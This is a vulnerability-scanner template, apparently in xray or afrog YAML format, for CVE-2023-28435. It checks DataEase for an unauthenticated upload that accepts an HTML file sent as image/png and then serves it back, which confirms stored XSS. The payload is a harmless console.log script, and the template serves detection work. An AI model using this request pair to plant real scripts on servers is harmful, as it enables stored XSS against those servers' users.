The file upload interface is not checked for permissions,
so users who are not logged in can upload any file directly to the background,
and the file type is not checked, so they can upload any type of file
ps：上传文件后，通过路径/static-resource/{{ranfilename}}.html触发xss
id: CVE-2023-28435
info:
name: File upload interface does not do permission verification exists XSS vulnerability
author: hbdxmz
severity: high
verified: true
description: |-
The file upload interface is not checked for permissions,
so users who are not logged in can upload any file directly to the background,
and the file type is not checked, so they can upload any type of file
ps：上传文件后，通过路径/static-resource/{{ranfilename}}.html触发xss
reference:
- https://github.com/dataease/dataease/security/advisories/GHSA-625h-q3g9-rffc
- https://nvd.nist.gov/vuln/detail/CVE-2023-28435
tags: cve,cve2023,xss,dataease
created: 2023/11/30
set:
rboundary: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /static/resource/upload/b1ace870-c3d6-11ed-9218-{{rboundary}}
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file\";filename=\"1.html\"\r\n\
Content-Type: image/png\r\n\r\n\
<html><script>console.log(\"Hello\")</script></html>\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: response.status == 200 && response.body.bcontains(b'"success":true')
r1:
request:
method: GET
path: /static-resource/b1ace870-c3d6-11ed-9218-{{rboundary}}.html
expression: response.status == 200 && response.body.bcontains(b'console.log("Hello")')
expression: r0()&&r1()
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.